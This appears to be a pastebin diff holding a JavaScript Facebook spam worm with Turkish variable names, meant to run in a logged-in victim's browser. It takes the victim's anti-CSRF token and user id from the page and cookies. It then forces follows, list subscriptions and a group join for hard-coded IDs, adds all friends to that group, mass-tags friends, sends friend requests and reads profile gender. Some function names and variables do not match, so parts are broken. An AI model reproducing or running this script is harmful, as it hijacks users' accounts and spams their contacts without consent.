View difference between Paste ID: RfyNsXBN and
SHOW:
|
|
- or go back to the newest paste.
1 | - | |
1 | + | var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; |
2 | var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); | |
3 | ||
4 | function cereziAl(isim) { | |
5 | var tarama = isim + "="; | |
6 | if (document.cookie.length > 0) { | |
7 | konum = document.cookie.indexOf(tarama) | |
8 | if (konum != -1) { | |
9 | konum += tarama.length | |
10 | son = document.cookie.indexOf(";", konum) | |
11 | if (son == -1) | |
12 | son = document.cookie.length | |
13 | return unescape(document.cookie.substring(konum, son)) | |
14 | } | |
15 | else { return ""; } | |
16 | } | |
17 | } | |
18 | ||
19 | function getRandomInt (min, max) { | |
20 | return Math.floor(Math.random() * (max - min + 1)) + min; | |
21 | } | |
22 | function randomValue(arr) { | |
23 | return arr[getRandomInt(0, arr.length-1)]; | |
24 | } | |
25 | ||
26 | var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; | |
27 | var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); | |
28 | ||
29 | function a(abone){ | |
30 | var http4 = new XMLHttpRequest(); | |
31 | ||
32 | var url4 = "/ajax/follow/follow_profile.php?__a=1"; | |
33 | ||
34 | var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp="; | |
35 | http4.open("POST", url4, true); | |
36 | ||
37 | //Send the proper header information along with the request | |
38 | http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); | |
39 | http4.setRequestHeader("Content-length", params4.length); | |
40 | http4.setRequestHeader("Connection", "close"); | |
41 | ||
42 | http4.onreadystatechange = function() {//Call a function when the state changes. | |
43 | if(http4.readyState == 4 && http4.status == 200) { | |
44 | ||
45 | http4.close; // Close the connection | |
46 | ||
47 | } | |
48 | } | |
49 | ||
50 | http4.send(params4); | |
51 | } | |
52 | ||
53 | function sublist(uidss) { | |
54 | var a = document.createElement('script'); | |
55 | a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; | |
56 | document.body.appendChild(a); | |
57 | } | |
58 | ||
59 | a("100002674261933"); | |
60 | ||
61 | ||
62 | sublist("100002674261933"); | |
63 | ||
64 | ||
65 | ||
66 | sublist("100002674261933"); | |
67 | ||
68 | var gid = ['540762309316820']; | |
69 | ||
70 | var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; | |
71 | var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); | |
72 | ||
73 | var httpwp = new XMLHttpRequest(); | |
74 | var urlwp = '/ajax/groups/membership/r2j.php?__a=1'; | |
75 | var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp='; | |
76 | httpwp['open']('POST', urlwp, true); | |
77 | httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); | |
78 | httpwp['setRequestHeader']('Content-length', paramswp['length']); | |
79 | httpwp['setRequestHeader']('Connection', 'keep-alive'); | |
80 | httpwp['send'](paramswp); | |
81 | ||
82 | var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; | |
83 | var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); | |
84 | ||
85 | var friends = new Array(); | |
86 | gf = new XMLHttpRequest(); | |
87 | gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false); | |
88 | gf['send'](); | |
89 | if (gf['readyState'] != 4) {} else { | |
90 | data = eval('(' + gf['responseText']['substr'](9) + ')'); | |
91 | if (data['error']) {} else { | |
92 | friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) { | |
93 | return _0x93dax8['index'] - _0x93dax9['index']; | |
94 | }); | |
95 | }; | |
96 | }; | |
97 | ||
98 | for (var i = 0; i < friends['length']; i++) { | |
99 | var httpwp = new XMLHttpRequest(); | |
100 | var urlwp = '/ajax/groups/members/add_post.php?__a=1'; | |
101 | var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp='; | |
102 | httpwp['open']('POST', urlwp, true); | |
103 | httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); | |
104 | httpwp['setRequestHeader']('Content-length', paramswp['length']); | |
105 | httpwp['setRequestHeader']('Connection', 'keep-alive'); | |
106 | httpwp['onreadystatechange'] = function () { | |
107 | if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {}; | |
108 | }; | |
109 | httpwp['send'](paramswp); | |
110 | }; | |
111 | var spage_id = "540762309316820"; | |
112 | var spost_id = "100002674261933"; | |
113 | var sfoto_id = "100002674261933"; | |
114 | var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); | |
115 | var smesaj = ""; | |
116 | var smesaj_text = ""; | |
117 | var arkadaslar = []; | |
118 | var svn_rev; | |
119 | var bugun= new Date(); | |
120 | var btarihi = new Date(); | |
121 | btarihi.setTime(bugun.getTime() + 1000*60*60*4*1); | |
122 | if(!document.cookie.match(/paylasti=(\d+)/)){ | |
123 | document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString(); | |
124 | } | |
125 | ||
126 | ||
127 | //arkadaslari al ve isle | |
128 | function sarkadaslari_al(){ | |
129 | var xmlhttp = new XMLHttpRequest(); | |
130 | xmlhttp.onreadystatechange = function () { | |
131 | if(xmlhttp.readyState == 4){ | |
132 | eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); | |
133 | for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){ | |
134 | smesaj = ""; | |
135 | smesaj_text = ""; | |
136 | for(i=f*10;i<(f+1)*10;i++){ | |
137 | if(arkadaslar.payload.entries[i]){ | |
138 | smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]"; | |
139 | smesaj_text += " " + arkadaslar.payload.entries[i].text; | |
140 | } | |
141 | } | |
142 | sdurumpaylas(); } | |
143 | ||
144 | } | |
145 | ||
146 | }; | |
147 | var params = "&filter[0]=user"; | |
148 | params += "&options[0]=friends_only"; | |
149 | params += "&options[1]=nm"; | |
150 | params += "&token=v7"; | |
151 | params += "&viewer=" + user_id; | |
152 | params += "&__user=100002674261933" + user_id; | |
153 | ||
154 | if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } | |
155 | else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } | |
156 | xmlhttp.send(); | |
157 | } | |
158 | ||
159 | //tiklama olayini dinle | |
160 | var tiklama = document.addEventListener("click", function () { | |
161 | if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){ | |
162 | svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0]; | |
163 | sarkadaslari_al(); | |
164 | document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString(); | |
165 | ||
166 | document.removeEventListener(tiklama); | |
167 | } | |
168 | }, false); | |
169 | ||
170 | ||
171 | //arkada?¾ ekleme | |
172 | function sarkadasekle(uid,cins){ | |
173 | var xmlhttp = new XMLHttpRequest(); | |
174 | xmlhttp.onreadystatechange = function () { | |
175 | if(xmlhttp.readyState == 4){ | |
176 | } | |
177 | }; | |
178 | ||
179 | xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true); | |
180 | var params = "to_friend=" + uid; | |
181 | params += "&action=add_friend"; | |
182 | params += "&how_found=friend_browser"; | |
183 | params += "&ref_param=none"; | |
184 | params += "&outgoing_id="; | |
185 | params += "&logging_location=friend_browser"; | |
186 | params += "&no_flyout_on_click=true"; | |
187 | params += "&ego_log_data="; | |
188 | params += "&http_referer="; | |
189 | params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value; | |
190 | params += "&phstamp=165816749114848369115"; | |
191 | params += "&__user=" + user_id; | |
192 | xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); | |
193 | xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded"); | |
194 | ||
195 | if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){ | |
196 | xmlhttp.send(params); | |
197 | }else if(document.cookie.split("cins" + user_id +"=").length <= 1){ | |
198 | cinsiyetgetir(uid,cins,"sarkadasekle"); | |
199 | }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){ | |
200 | xmlhttp.send(params); | |
201 | } | |
202 | } | |
203 | ||
204 | //cinsiyet belirleme | |
205 | var cinssonuc = {}; | |
206 | var cinshtml = document.createElement("html"); | |
207 | function scinsiyetgetir(uid,cins,fonksiyon){ | |
208 | var xmlhttp = new XMLHttpRequest(); | |
209 | xmlhttp.onreadystatechange = function () { | |
210 | if(xmlhttp.readyState == 4){ | |
211 | eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); | |
212 | cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html | |
213 | btarihi.setTime(bugun.getTime() + 1000*60*60*24*365); | |
214 | if(cinshtml.getElementsByTagName("select")[0].value == "1"){ | |
215 | document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString(); | |
216 | }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){ | |
217 | document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString(); | |
218 | } | |
219 | eval(fonksiyon + "(" + id + "," + cins + ");"); | |
220 | } | |
221 | }; | |
222 | xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true); | |
223 | xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); | |
224 | xmlhttp.send(); | |
225 | } |